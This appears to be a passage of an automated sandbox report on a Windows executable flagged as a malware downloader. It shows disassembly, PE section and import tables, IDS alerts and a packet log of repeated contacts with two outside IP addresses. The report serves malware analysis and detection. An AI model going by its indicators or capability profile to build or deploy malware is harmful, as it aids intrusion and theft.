jne 00007F11E5202257h
jmp 00007F11E5202632h
test edi, 00000003h
jne 00007F11E5202266h
shr ecx, 02h
and edx, 03h
cmp ecx, 08h
jc 00007F11E520227Bh
rep movsd
jmp dword ptr [00416740h+edx*4]
mov eax, edi
mov edx, 00000003h
sub ecx, 04h
jc 00007F11E520225Eh
and eax, 03h
add ecx, eax
jmp dword ptr [00416654h+eax*4]
jmp dword ptr [00416750h+ecx*4]
nop
jmp dword ptr [004166D4h+ecx*4]
nop
inc cx
add byte ptr [eax-4BFFBE9Ah], dl
inc cx
add byte ptr [ebx], ah
ror dword ptr [edx-75F877FAh], 1
inc esi
add dword ptr [eax+468A0147h], ecx
add al, cl
jmp 00007F11E767AA57h
add esi, 03h
add edi, 03h
cmp ecx, 08h
jc 00007F11E520221Eh
rep movsd
jmp dword ptr [00000000h+edx*4]

Rich Headers

Programming Language:

[ C ] VS2010 SP1 build 40219
[C++] VS2010 SP1 build 40219
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2010 SP1 build 40219
[RES] VS2010 SP1 build 40219
[LNK] VS2010 SP1 build 40219

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8d41c	0x154	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xab000	0x13778	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x82000	0x844	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8061c	0x80800	61ffce4768976fa0dd2a8f6a97b1417a	False	0.5583182605787937	data	6.684690148171278	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x82000	0xdfc0	0xe000	0354bc5f2376b5e9a4a3ba38b682dff1	False	0.36085728236607145	data	4.799741132252136	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x90000	0x1a758	0x6800	8033f5a38941b4685bc2299e78f31221	False	0.15324519230769232	data	2.1500715391677487	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xab000	0x13778	0x13800	deaf8cf0ab1ab56c5b616d6567464a39	False	0.08774038461538461	data	3.8891256142087705	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xab448	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xab570	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xab698	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xab7c0	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	Great Britain	0.05220040222406246
RT_MENU	0xbbfe8	0x50	data	English	Great Britain	0.9
RT_DIALOG	0xbc038	0xfc	data	English	Great Britain	0.6507936507936508
RT_STRING	0xbc138	0x530	data	English	Great Britain	0.33960843373493976
RT_STRING	0xbc668	0x690	data	English	Great Britain	0.26964285714285713
RT_STRING	0xbccf8	0x4d0	data	English	Great Britain	0.36363636363636365
RT_STRING	0xbd1c8	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xbd7c8	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xbde28	0x388	data	English	Great Britain	0.377212389380531
RT_STRING	0xbe1b0	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	United States	0.502906976744186
RT_GROUP_ICON	0xbe308	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xbe320	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xbe338	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xbe350	0x14	data	English	Great Britain	1.25
RT_VERSION	0xbe368	0x19c	data	English	Great Britain	0.5339805825242718
RT_MANIFEST	0xbe508	0x26c	ASCII text, with CRLF line terminators	English	United States	0.5145161290322581

Imports

DLL	Import
WSOCK32.dll	__WSAFDIsSet, setsockopt, ntohs, recvfrom, sendto, htons, select, listen, WSAStartup, bind, closesocket, connect, socket, send, WSACleanup, ioctlsocket, accept, WSAGetLastError, inet_addr, gethostbyname, gethostname, recv
VERSION.dll	VerQueryValueW, GetFileVersionInfoW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, ImageList_ReplaceIcon, ImageList_Create, InitCommonControlsEx, ImageList_Destroy
MPR.dll	WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W, WNetUseConnectionW
WININET.dll	InternetReadFile, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetConnectW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetQueryOptionW, InternetQueryDataAvailable
PSAPI.DLL	EnumProcesses, GetModuleBaseNameW, GetProcessMemoryInfo, EnumProcessModules
USERENV.dll	CreateEnvironmentBlock, DestroyEnvironmentBlock, UnloadUserProfile, LoadUserProfileW
KERNEL32.dll	HeapAlloc, Sleep, GetCurrentThreadId, RaiseException, MulDiv, GetVersionExW, GetSystemInfo, InterlockedIncrement, InterlockedDecrement, WideCharToMultiByte, lstrcpyW, MultiByteToWideChar, lstrlenW, lstrcmpiW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, DeleteFileW, FindNextFileW, MoveFileW, CopyFileW, CreateDirectoryW, RemoveDirectoryW, GetProcessHeap, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetLocalTime, CompareStringW, DeleteCriticalSection, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionAndSpinCount, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, GetTempPathW, GetTempFileNameW, VirtualFree, FormatMessageW, GetExitCodeProcess, SetErrorMode, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, DeviceIoControl, SetFileAttributesW, GetShortPathNameW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetCurrentThread, GetProcessIoCounters, CreateProcessW, SetPriorityClass, LoadLibraryW, VirtualAlloc, LoadLibraryExW, HeapFree, WaitForSingleObject, CreateThread, DuplicateHandle, GetLastError, CloseHandle, GetCurrentProcess, GetProcAddress, LoadLibraryA, FreeLibrary, GetModuleFileNameW, GetFullPathNameW, SetCurrentDirectoryW, IsDebuggerPresent, GetCurrentDirectoryW, ExitProcess, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetTimeFormatW, GetDateFormatW, GetCommandLineW, GetStartupInfoW, IsProcessorFeaturePresent, HeapSize, GetCPInfo, GetACP, GetOEMCP, IsValidCodePage, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStringTypeW, HeapCreate, SetHandleCount, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, LCMapStringW, RtlUnwind, SetFilePointer, GetTimeZoneInformation, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetTickCount, HeapReAlloc, WriteConsoleW, SetEndOfFile, SetSystemPowerState, SetEnvironmentVariableA
USER32.dll	GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, ReleaseCapture, SetCapture, WindowFromPoint, LoadImageW, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, CheckMenuRadioItem, SetWindowPos, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, TranslateMessage, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, GetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, MessageBoxW, DefWindowProcW, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, GetMenuItemID, DispatchMessageW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, PeekMessageW, UnregisterHotKey, CharLowerBuffW, keybd_event, MonitorFromRect, GetWindowThreadProcessId
GDI32.dll	DeleteObject, AngleArc, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, StrokePath, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, GetDeviceCaps, MoveToEx, DeleteDC, GetPixel, CreateDCW, Ellipse, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, LineTo
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegCreateKeyExW, GetUserNameW, RegConnectRegistryW, CloseServiceHandle, UnlockServiceDatabase, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, InitializeSecurityDescriptor, InitializeAcl, GetLengthSid, CopySid, LogonUserW, LockServiceDatabase, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, GetAce, AddAce, SetSecurityDescriptorDacl, RegOpenKeyExW, RegQueryValueExW, AdjustTokenPrivileges, InitiateSystemShutdownExW, OpenSCManagerW, RegCloseKey
SHELL32.dll	DragQueryPoint, ShellExecuteExW, SHGetFolderPathW, DragQueryFileW, SHEmptyRecycleBinW, SHBrowseForFolderW, SHFileOperationW, SHGetPathFromIDListW, SHGetDesktopFolder, SHGetMalloc, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CLSIDFromString, StringFromGUID2, CoInitialize, CoUninitialize, CoCreateInstance, CreateStreamOnHGlobal, CoTaskMemAlloc, CoTaskMemFree, ProgIDFromCLSID, OleInitialize, CreateBindCtx, CLSIDFromProgID, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket, OleUninitialize, IIDFromString
OLEAUT32.dll	VariantChangeType, VariantCopyInd, DispCallFunc, CreateStdDispatch, CreateDispTypeInfo, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SysStringLen, SafeArrayAllocData, GetActiveObject, QueryPathOfRegTypeLib, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysAllocString, VariantCopy, VariantClear, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, OleLoadPicture, SafeArrayAccessData, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-19T12:21:07.338014+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49704	132.226.247.73	80	TCP
2024-09-19T12:21:09.322399+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49704	132.226.247.73	80	TCP
2024-09-19T12:21:09.868381+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49706	188.114.97.3	443	TCP
2024-09-19T12:21:10.634957+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49707	132.226.247.73	80	TCP
2024-09-19T12:21:12.041239+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49709	132.226.247.73	80	TCP
2024-09-19T12:21:12.587080+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49710	188.114.97.3	443	TCP
2024-09-19T12:21:16.853340+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49716	188.114.97.3	443	TCP
2024-09-19T12:21:19.338020+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49719	132.226.247.73	80	TCP
2024-09-19T12:21:19.697445+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49721	188.114.97.3	443	TCP
2024-09-19T12:21:20.478700+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49719	132.226.247.73	80	TCP
2024-09-19T12:21:21.955719+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49726	188.114.97.3	443	TCP
2024-09-19T12:21:23.019969+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.5	49728	132.226.247.73	80	TCP
2024-09-19T12:21:23.660634+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49729	188.114.97.3	443	TCP
2024-09-19T12:21:26.310849+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49735	188.114.97.3	443	TCP
2024-09-19T12:21:28.933359+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49739	188.114.97.3	443	TCP
2024-09-19T12:21:30.247026+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49741	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 19, 2024 12:21:05.417531967 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:05.422441006 CEST	80	49704	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:05.422522068 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:05.422763109 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:05.427541018 CEST	80	49704	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:06.085481882 CEST	80	49704	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:06.091797113 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:06.096760035 CEST	80	49704	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:07.297427893 CEST	80	49704	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:07.338013887 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:07.367664099 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:07.367719889 CEST	443	49705	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:07.367803097 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:07.441756964 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:07.441834927 CEST	443	49705	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:07.907056093 CEST	443	49705	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:07.907179117 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:07.934458971 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:07.934497118 CEST	443	49705	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:07.934808016 CEST	443	49705	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:07.978631020 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:08.247917891 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:08.295447111 CEST	443	49705	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.058197975 CEST	443	49705	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.058309078 CEST	443	49705	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.058595896 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:09.067245007 CEST	49705	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:09.071471930 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:09.076555967 CEST	80	49704	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:09.275693893 CEST	80	49704	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:09.279181004 CEST	49706	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:09.279243946 CEST	443	49706	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.279354095 CEST	49706	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:09.279659986 CEST	49706	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:09.279673100 CEST	443	49706	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.322398901 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:09.735295057 CEST	443	49706	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.738645077 CEST	49706	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:09.738723040 CEST	443	49706	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.868251085 CEST	443	49706	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.868377924 CEST	443	49706	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:09.868449926 CEST	49706	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:09.868937016 CEST	49706	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:09.909662008 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:09.913840055 CEST	49707	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:09.914818048 CEST	80	49704	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:09.914895058 CEST	49704	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:09.918684959 CEST	80	49707	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:09.918783903 CEST	49707	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:09.918914080 CEST	49707	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:09.923661947 CEST	80	49707	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:10.583904028 CEST	80	49707	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:10.609652996 CEST	49708	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:10.609697104 CEST	443	49708	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:10.609925032 CEST	49708	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:10.615299940 CEST	49708	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:10.615313053 CEST	443	49708	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:10.634957075 CEST	49707	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:11.078728914 CEST	443	49708	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:11.080749035 CEST	49708	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:11.080838919 CEST	443	49708	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:11.228162050 CEST	443	49708	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:11.228360891 CEST	443	49708	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:11.228524923 CEST	49708	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:11.229017973 CEST	49708	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:11.231992960 CEST	49707	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:11.233463049 CEST	49709	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:11.238126993 CEST	80	49707	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:11.238198042 CEST	49707	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:11.239521027 CEST	80	49709	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:11.239609957 CEST	49709	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:11.239732981 CEST	49709	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:11.245600939 CEST	80	49709	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:11.991666079 CEST	80	49709	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:11.993041992 CEST	49710	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:11.993094921 CEST	443	49710	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:11.993166924 CEST	49710	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:11.993438005 CEST	49710	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:11.993463039 CEST	443	49710	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:12.041239023 CEST	49709	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:12.456252098 CEST	443	49710	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:12.457756996 CEST	49710	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:12.457801104 CEST	443	49710	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:12.586915016 CEST	443	49710	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:12.587014914 CEST	443	49710	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:12.587172031 CEST	49710	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:12.587738037 CEST	49710	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:12.591496944 CEST	49711	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:12.596618891 CEST	80	49711	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:12.596697092 CEST	49711	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:12.596837044 CEST	49711	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:12.601716042 CEST	80	49711	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:13.619724989 CEST	80	49711	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:13.620918989 CEST	80	49711	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:13.621001005 CEST	49711	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:13.621140957 CEST	49712	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:13.621176004 CEST	443	49712	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:13.621241093 CEST	49712	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:13.621480942 CEST	49712	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:13.621493101 CEST	443	49712	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:14.081718922 CEST	443	49712	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:14.083615065 CEST	49712	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:14.083682060 CEST	443	49712	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:14.211141109 CEST	443	49712	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:14.211354971 CEST	443	49712	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:14.211520910 CEST	49712	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:14.211731911 CEST	49712	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:14.215353966 CEST	49711	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:14.216511011 CEST	49713	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:14.220802069 CEST	80	49711	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:14.220902920 CEST	49711	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:14.221430063 CEST	80	49713	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:14.221497059 CEST	49713	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:14.221731901 CEST	49713	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:14.226578951 CEST	80	49713	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:14.925029039 CEST	80	49713	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:14.927316904 CEST	49714	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:14.927409887 CEST	443	49714	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:14.927803993 CEST	49714	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:14.927970886 CEST	49714	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:14.928003073 CEST	443	49714	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:14.978626966 CEST	49713	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:15.147749901 CEST	80	49713	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:15.147978067 CEST	49713	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:15.394938946 CEST	443	49714	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:15.396816015 CEST	49714	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:15.396897078 CEST	443	49714	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:15.544178963 CEST	443	49714	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:15.544394970 CEST	443	49714	188.114.97.3	192.168.2.5
Sep 19, 2024 12:21:15.544466019 CEST	49714	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:15.545123100 CEST	49714	443	192.168.2.5	188.114.97.3
Sep 19, 2024 12:21:15.548933983 CEST	49713	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:15.550045967 CEST	49715	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:15.554178953 CEST	80	49713	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:15.554265976 CEST	49713	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:15.554963112 CEST	80	49715	132.226.247.73	192.168.2.5
Sep 19, 2024 12:21:15.555032969 CEST	49715	80	192.168.2.5	132.226.247.73
Sep 19, 2024 12:21:15.555119038 CEST	49715	80	192.168.2.5	132.226.247.73
